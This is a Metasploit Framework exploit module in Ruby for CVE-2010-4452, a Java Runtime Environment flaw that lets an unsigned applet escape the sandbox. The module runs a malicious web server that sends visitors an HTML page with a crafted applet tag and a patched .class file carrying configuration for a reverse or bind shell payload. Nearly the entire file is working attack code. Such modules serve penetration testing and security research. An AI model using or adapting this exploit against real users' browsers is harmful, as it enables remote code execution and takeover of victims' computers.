##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize( info = {} )
		super( update_info( info,
			'Name'          => 'Sun Java Applet2ClassLoader Remote Code Execution',
			'Description'   => %q{
					This module exploits a vulnerability in the Java Runtime Environment
				that allows an attacker to run an applet outside of the Java Sandbox. When
				an applet is invoked with:

				1. A "codebase" parameter that points at a trusted directory
				2. A "code" parameter that is a URL that does not contain any dots

				the applet will run outside of the sandbox.

				This vulnerability affects JRE prior to version 6 update 24.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [
					'Frederic Hoguin', # Discovery, PoC
					'jduck'            # Metasploit module
				],
			'References'    =>
				[
					[ 'CVE', '2010-4452' ],
					[ 'OSVDB', '71193' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-084/' ],
					[ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]
				],
			'Platform'      => [ 'java' ], #, 'win' ],
			'Payload'       =>
				{
					'Space' => 20480,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat' =>
						{
							'ConnectionType' => '-find'
						}
				},
			'Targets'       =>
				[
					# OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
					# FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
					[ 'Generic (Java Payload)',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java',
						}
					],

					# Native payloads aren't currently supported (only work with jar/war)
=begin
					[ 'Windows x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win',
						}
					],
=end
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 15 2011'
			))

		register_options(
			[
				# This is the default for a 32-bit Windows install
				OptString.new('LIBPATH', [ false,  "The codebase path to use (privileged)",
					"C:\\Program Files\\java\\jre6\\lib\\ext"]),
			], self.class)
	end

	def exploit
		path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR)
		@java_class = nil
		File.open(path, "rb") { |fd|
			@java_class = fd.read(fd.stat.size)
		}
		if not @java_class
			fail_with(Exploit::Failure::Unknown, "Unable to load java class")
		end

		super
	end

	def on_request_uri(cli, request)
		#print_status("Received request: #{request.uri}")

		jpath = get_uri(cli)
		#print_status(jpath)

		# Do what get_uri does so that we can replace it in the string
		# This could proably use the Host header from the request
		host = Rex::Socket.source_address(cli.peerhost)
		host_num = Rex::Socket.addr_aton(host).unpack('N').first
		code_url = jpath.sub(host, host_num.to_s)

		codebase = "file:" + datastore['LIBPATH']

		config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
		# The java payloads decide to be reverse if LHOST is set.
		config << "LHOST=#{datastore['LHOST']}\n" if datastore['PAYLOAD'] =~ /reverse/
		config_off = 0x10e

		cn_off = 0x2f76

		case request.uri

		when /\.class$/
			# NOTE: the payload for this module is implemented in the .class file directly.
			#
			# This is due to the following:
			# 1. The file must be a single .class file
			# 2. The class inside must derive from Applet
			#
			# As such, we do not use the traditional payload generation facilities.
			# However, we call the following so that bind payloads will properly
			# connect to the client instead of using RHOST
			p = regenerate_payload(cli)

			print_status("Sending .class file")

			cls = @java_class.dup
			cls[config_off,2] = [config.length].pack('n')
			cls[config_off+2,8] = config

			cn_off += (config.length - 8)  # the original length was 8 (CONFIGZZ)
			cls[cn_off,2] = [code_url.length].pack('n')
			cls[cn_off+2,7] = code_url

			#File.open('ughz.class', 'wb') { |fd| fd.write cls }

			send_response(cli, cls, { 'Content-Type' => "application/octet-stream" })
			handler(cli)

		else
			html = <<-EOS
<html>
<body>
<applet codebase="#{codebase}" code="#{code_url}" />
</body>
</html>
EOS
			print_status("Sending HTML")
			send_response_html(cli, html)
		end

	end

end
